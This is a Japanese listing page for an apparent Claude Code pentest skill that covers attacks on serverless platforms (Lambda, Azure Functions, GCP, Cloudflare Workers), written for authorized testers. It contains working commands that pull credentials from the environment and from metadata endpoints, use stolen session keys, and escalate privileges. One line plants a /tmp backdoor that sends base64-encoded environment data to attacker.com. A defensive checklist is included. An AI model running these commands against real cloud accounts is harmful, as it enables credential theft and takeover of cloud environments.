attacking-serverless について
AWS Lambda、Azure Functions、GCP Cloud Functions、Cloudflare Workersを対象とする、認可済みテスター向けのサーバーレス評価ガイドです。イベント入力、関数の認証情報、トリガー設定、ワークフロー制御に関わる攻撃面を扱います。
主な機能
- 01関数、ランタイム、イベントソースの発見
- 02イベント入力とトリガー設定のテスト
- 03環境変数と関数認証情報の確認
- 04実行ロールの権限リスク評価
- 05オーケストレーションとランタイム永続化の確認
活用シーン
- 01関数実行ロールとマネージドIDの権限評価
- 02イベントソースごとの入力処理テスト
- 03認可のない関数URLやAPIの確認
- 04Step Functionsなどのオーケストレーションの確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-serverlessインストール後、Claude Code で/attacking-serverlessを入力して読み込まれたか確認します。
詳細
サーバーレスへの攻撃
サーバーレスでは、攻撃対象がホストからイベントへと変わります。SSH も永続的なシェルもなく、従来の意味で列挙する OS もありません。実行環境は一時的ですが、そこにアタッチされた IAM ロールはそうではなく、ほぼ常にそのロールこそが本当の標的です。Lambda 関数が侵害されても、手に入るのはサーバーではなく、自動的に更新され、MFA がなく、「最小権限」よりも「とにかく動かす」ことを優先した開発者によってスコープされた AWS 認証情報一式です。同じパターンは Azure Functions、GCP Cloud Functions、エッジランタイムにも当てはまりますが、認証情報の保管場所や分離境界の引き方には多少の違いがあります。
使用する場合
- 対象が AWS Lambda、Azure Functions、GCP Cloud Functions、または Cloudflare Workers を実行している
- API Gateway、Azure API Management、または GCP API Gateway がサーバーレスコンピューティングの前段にある
- イベント駆動型アーキテクチャが、S3、SQS、SNS、EventBridge、Pub/Sub、または Storage トリガーからの入力を処理している
- 関数にアタッチされた実行ロールまたはマネージド ID をテストする必要がある
- Step Functions、Durable Functions、または Cloud Workflows がサーバーレスコンポーネントをオーケストレーションしている
- Function URL または HTTP トリガーがオーソライザーなしで公開されている
使用しない場合
- サーバーレスコンピューティングを伴わない IAM のみのケース — 一般的なクラウド IAM の列挙と権限昇格には
exploiting-cloud-platformsを使用してください - バックエンドがコンテナまたは VM である REST API としての API Gateway — API の手法には
testing-apisを使用してください - ランタイムにアクセスせずに関数コードのソースコードレビューを行う場合 — 静的解析には
auditing-code-for-vulnerabilitiesを使用してください
偵察
攻撃する前に関数を見つけましょう。関数名、ランタイム、ハンドラー、イベントソース、アタッチされたロールは、いずれもクラウドのコントロールプレーンまたはアプリケーション自体から列挙できます。
# AWS — list functions and their configurations
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler]' --output table
aws lambda list-event-source-mappings --function-name TARGET_FUNCTION
aws apigateway get-rest-apis
aws apigatewayv2 get-apis
# Azure
az functionapp list --query '[].{name:name, runtime:siteConfig.linuxFxVersion, rg:resourceGroup}' -o table
az functionapp function list --name APP_NAME --resource-group RG
# GCP
gcloud functions list --format='table(name,runtime,entryPoint,trigger)'
gcloud functions describe FUNCTION_NAME
外部からは、API Gateway のデフォルトステージ(/prod、/dev、/stage)、関数 URL のパターン(*.lambda-url.*.on.aws、*.azurewebsites.net/api/、*.cloudfunctions.net)、およびランタイム情報が漏れるエラーレスポンス(Runtime.HandlerNotFound、MODULE_NOT_FOUND)を探してください。
イベントインジェクション
サーバーレスでは、イベントが入力そのものです。すべてのイベントソースが侵入経路であり、その大半は HTTP ではありません。そのため、WAF、API ゲートウェイ、HTTP リクエストのみを検査するミドルウェアを迂回できます。
次の場合、イベントオブジェクトは攻撃者が制御できます。
- S3 バケット名とオブジェクトキーがイベントで渡される(キー名を使ったパストラバーサル)
- SQS/SNS メッセージ本文が検証されずに処理される
- API Gateway がクエリ文字列、ヘッダー、本文をイベントに渡す
- 制御下にあるアカウントから EventBridge のカスタムイベントが受け入れられる
- アプリケーション経由で挿入したレコードが DynamoDB Streams に流れる
- Cloudflare Workers が、ヘッダーや URL を含む Request オブジェクト全体を受け取る
# S3 event — the key is attacker-controlled if uploads are open
{
"Records": [{
"s3": {
"bucket": {"name": "target-bucket"},
"object": {"key": "../../../tmp/payload"}
}
}]
}
# Inject through SQS — if you have SendMessage permission
aws sqs send-message --queue-url https://sqs.*.amazonaws.com/ACCOUNT/QUEUE \
--message-body '{"exploit": "payload"}'
# Invoke a function directly if you have lambda:InvokeFunction
aws lambda invoke --function-name TARGET --payload '{"key":"value"}' /dev/stdout
各イベントソースを個別にテストしてください。API Gateway からの HTTP 入力をサニタイズする関数でも、SQS から同じフィールドが届いた場合にはサニタイズしない可能性があります。
環境変数の抽出
サーバーレスランタイムは、認証情報と設定を環境変数として注入します。関数内でコード実行を達成した場合、まずこれらを標的にしてください。
# Read the process environment — works in most runtimes
cat /proc/self/environ | tr '\0' '\n'
# Key variables on AWS Lambda
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN
echo $AWS_LAMBDA_FUNCTION_NAME
echo $AWS_REGION
# Lambda runtime API — metadata endpoint inside the execution environment
curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
# Azure Functions
echo $AzureWebJobsStorage # often a full connection string
echo $IDENTITY_ENDPOINT # managed identity token endpoint
curl -s "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
# GCP Cloud Functions — metadata server
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
開発者は Secrets Manager や Key Vault を使わず、環境変数に直接シークレットを保存することもあります。データベース接続文字列、API キー、サードパーティの認証情報を探してください。
IAM ロールの悪用
関数の実行ロールが、権限昇格の足掛かりになります。開発者は関数が動作するまで権限を追加し、削除することはほとんどないため、過剰な権限が付与されているケースがほとんどです。
# Identify who you are
aws sts get-caller-identity
# Enumerate what you can do — use the stolen credentials outside Lambda
# (session tokens from Lambda are valid for up to 12 hours)
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Enumerate policies attached to the role
aws iam list-attached-role-policies --role-name ROLE_NAME
aws iam get-role-policy --role-name ROLE_NAME --policy-name POLICY
# Common over-privileges to check for
aws s3 ls # s3:ListAllMyBuckets
aws secretsmanager list-secrets # secretsmanager:ListSecrets
aws dynamodb list-tables # dynamodb:ListTables
aws lambda list-functions # lambda:ListFunctions
aws iam list-roles # iam:ListRoles
Lambda ロールからの権限昇格経路:
iam:PassRole+lambda:CreateFunction+lambda:InvokeFunction— より高い権限を持つロールで新しい関数を作成し、実行しますlambda:UpdateFunctionCode— 別の関数のコードを、自分のペイロードに置き換えますiam:AttachRolePolicy— 現在のロールに AdministratorAccess をアタッチしますsts:AssumeRole— Lambda ロールを信頼するクロスアカウントロールに権限を移しますssm:GetParameter— Parameter Store からシークレットを読み取りますsecretsmanager:GetSecretValue— Secrets Manager からシークレットを読み取ります
Azure では、サブスクリプションに対する Contributor 権限を持つマネージド ID が同等の問題にあたります。GCP では、関数のサービスアカウントに iam.serviceAccountTokenCreator または owner ロールが付与されていないか確認します。
コールドスタートとランタイムの永続性
実行環境は、数分から数時間にわたって呼び出し間で維持されます。同じウォームコンテナへの呼び出しでは、/tmp に書き込んだものが残ります。
# Check for artifacts from previous invocations
ls -la /tmp/
cat /tmp/*.log 2>/dev/null
# Write a persistent payload — it will execute on the next invocation
echo 'import os; os.system("curl attacker.com/exfil?data=$(env|base64)")' > /tmp/backdoor.py
Lambda レイヤーは /opt に展開され、複数の関数で共有されます。侵害されたレイヤーは、それを使用するすべての関数に悪影響を及ぼします。以下を確認してください。
aws lambda list-layers
aws lambda get-layer-version --layer-name NAME --version-number 1
# Download, inspect, and look for writable paths or injected dependencies
コンテナの再利用では、ファイルシステムの状態が /tmp に保持され、ランタイムのグローバル変数やデータベース接続プールも維持され、起動したバックグラウンドスレッドも実行を続けます。Cloudflare Workers(V8 isolate)では、isolate 内でグローバルスコープが維持されますが、/tmp は存在しません。
マルチテナント環境と分離境界
エスケープが可能かどうかを判断する前に、分離モデルを理解してください。
- AWS Lambda は各関数を Firecracker microVM で実行します。関数間のエスケープには Firecracker の脆弱性が必要であり、これは別種の作業です。単一の関数内では、コンテナの再利用が関連する境界になります。
- Cloudflare Workers はコンテナではなく V8 isolate を使用します。複数のテナントが同じプロセスを共有します。isolate のエスケープは V8 の脆弱性にあたり、影響は大きいものの、まれです。サイドチャネル攻撃(Spectre 系)のほうが現実的です。Cloudflare は緩和策として
SharedArrayBufferと高精度タイマーを無効にしています。 - Azure Functions の Consumption プランでは、テナント間で基盤となる VM を共有します。共有プランでの分離は VM レベルではなく、プロセスレベルです。
- GCP Cloud Functions はサンドボックス化に gVisor を使用し、システムコールの対象範囲を制限します。
ほとんどのエンゲージメントでは、ランタイムの分離よりも IAM ロールとアプリケーションロジックに注目してください。サンドボックスからのエスケープは研究対象であり、ペネトレーションテストの指摘事項ではありません。
トリガーの設定ミス
最も一般的なサーバーレスの脆弱性は、コードではなく関数の公開方法にあります。
# Public API Gateway with no authorizer
aws apigateway get-resources --rest-api-id API_ID
aws apigateway get-method --rest-api-id API_ID --resource-id RES_ID --http-method GET
# Check: authorizationType should not be "NONE" on sensitive endpoints
# Lambda function URLs — public by default if auth-type is NONE
aws lambda list-function-url-configs --function-name FUNC
aws lambda get-function-url-config --function-name FUNC
# Check: AuthType should be AWS_IAM, not NONE
# Azure — function-level authorization keys
az functionapp function keys list --name APP --function-name FUNC --resource-group RG
# Check: authLevel should not be "anonymous" on sensitive functions
よくある設定ミス:
- オーソライザー(Lambda オーソライザー、Cognito、IAM)を設定せずに API Gateway をデプロイしている
AuthType: NONEの Function URL により、URL を知っている人なら誰でもアクセスできる- API Gateway の CORS 制限が不足しており、クロスオリジンの変更が可能になっている
- API Gateway のステージ変数から、内部エンドポイントや認証情報が漏えいしている
- アップロード元を検証せず、攻撃者がアップロードしたオブジェクトで S3 イベント通知が関数をトリガーする
- 外部の購読者を許可するオープンなサブスクリプションポリシーが SNS トピックに設定されている
Step Functions とワークフローの操作
オーケストレーションサービス(AWS Step Functions、Azure Durable Functions、GCP Workflows)では、テスト可能なことが多いステートマシンロジックが導入されます。
# List and describe state machines
aws stepfunctions list-state-machines
aws stepfunctions describe-state-machine --state-machine-arn ARN
# List executions and inspect input/output
aws stepfunctions list-executions --state-machine-arn ARN --status-filter RUNNING
aws stepfunctions describe-execution --execution-arn EXEC_ARN
aws stepfunctions get-execution-history --execution-arn EXEC_ARN
攻撃パターン:
- 入力の操作 — 検証手順をスキップしたり、意図しない分岐に進んだりするよう細工した入力で実行を開始します
- ステップの挿入 — ステートマシン定義が書き込み可能な場所(S3、DynamoDB)に保存されている場合、その定義を変更します
- Activity タスクの乗っ取り — ステップで Activity(ポーリングベース)が使用されている場合、
GetActivityTaskを持つ任意のプリンシパルが作業項目を横取りできます - コールバックトークンの窃取 — コールバックパターン用に SQS または SNS に送信されたタスクトークンを傍受し、任意の出力でステップを完了できます
- Parallel ステートの悪用 — 可変状態(DynamoDB、S3)を共有する並列ブランチで競合状態を引き起こします
防御レビューのチェックリスト
サーバーレスデプロイをレビューする際は、各項目を確認してください。
- すべての関数が、実際の必要性に合わせて権限を限定した専用 IAM ロールを使用している
- どの関数ロールのポリシーにも、リソースまたはアクションとして
*が設定されていない - API Gateway エンドポイントにオーソライザーが設定されている(
NONEではない) - 関数 URL で
AWS_IAM認証タイプが使用されているか、無効になっている - 環境変数にシークレットが含まれていない。シークレットは Secrets Manager、Key Vault、または Secret Manager に保管し、実行時に取得している
- イベントソースからの入力は、API Gateway レイヤーだけでなく関数内でも検証されている
- Lambda Layers のバージョンが固定され、信頼できる公開元から取得されている
- Step Function の入力が、開始時だけでなく各ステップで検証されている
- 無制限の実行を防ぐため、関数のタイムアウトとメモリ制限が設定されている
- CloudWatch/Cloud Logging が有効で、関数エラーや通常と異なる呼び出しパターンに対するアラートが設定されている
- VPC に接続された関数で、セキュリティグループと NACL を使用して送信トラフィックが制限されている
- API Gateway の CORS が特定のオリジンに制限され、
*になっていない
却下すべき合理化
- 「関数はエフェメラルなので、永続化は不可能です。」
/tmpとグローバル状態はウォーム状態での呼び出し後も残ります。Layers はデプロイをまたいで保持されます。IAM 認証情報はどこからでも使用できます。 - 「API Gateway を使用しているため、関数に直接アクセスすることはできません。」 関数 URL、
lambda:InvokeFunctionの直接的な権限、そしてゲートウェイを完全に迂回するイベントソースがないかテストしてください。 - 「この関数はユーザー入力ではなく、内部イベントだけを処理します。」 イベントチェーンをさかのぼって追跡してください。ユーザーが S3 にアップロードしたり、SNS トピックに投稿したりできるなら、「内部」イベントには攻撃者が制御するデータが含まれています。
- 「IAM 権限は Infrastructure as Code で管理しているので、レビュー済みです。」 Terraform または SAM のテンプレートを確認してください。ワイルドカードリソースや
AmazonS3FullAccessのような管理ポリシーのアタッチは、コードレビューで頻繁に見過ごされます。 - 「Cloudflare Workers は V8 によって分離されているため、脱出は不可能です。」 分離境界は強固ですが、実際の標的は分離環境そのものではなく、Worker にバインドされたサービスバインディング(KV、R2、D1、シークレット)です。
- 「認証情報は自動的にローテーションしています。」 Lambda のセッショントークンは数時間有効で、透過的に更新されます。攻撃者が関数内にいる場合、ローテーションでは防げません。
- 「関数は VPC 内にないため、ネットワークアクセスはありません。」 VPC 外の関数は、デフォルトでインターネットへの送信が制限されていません。ロールの認証情報を使って、任意の AWS API エンドポイントにアクセスできます。
ATT&CK の対象範囲
secskills-core/ttp-index.json から生成されます。このファイルを編集してから
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、ID を現在の ATT&CK リリースと照合して再確認してください。
実行(TA0002)
- T1648 サーバーレス実行
これらに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。
参考資料
exploiting-cloud-platforms— クラウド IAM、コントロールプレーン、権限昇格の一般的な手法testing-apis— API Gateway と HTTP エンドポイントのテスト手法auditing-code-for-vulnerabilities— 関数ハンドラーコードの静的レビューengineering-detections— サーバーレスの悪用パターンに対する検知エンジニアリング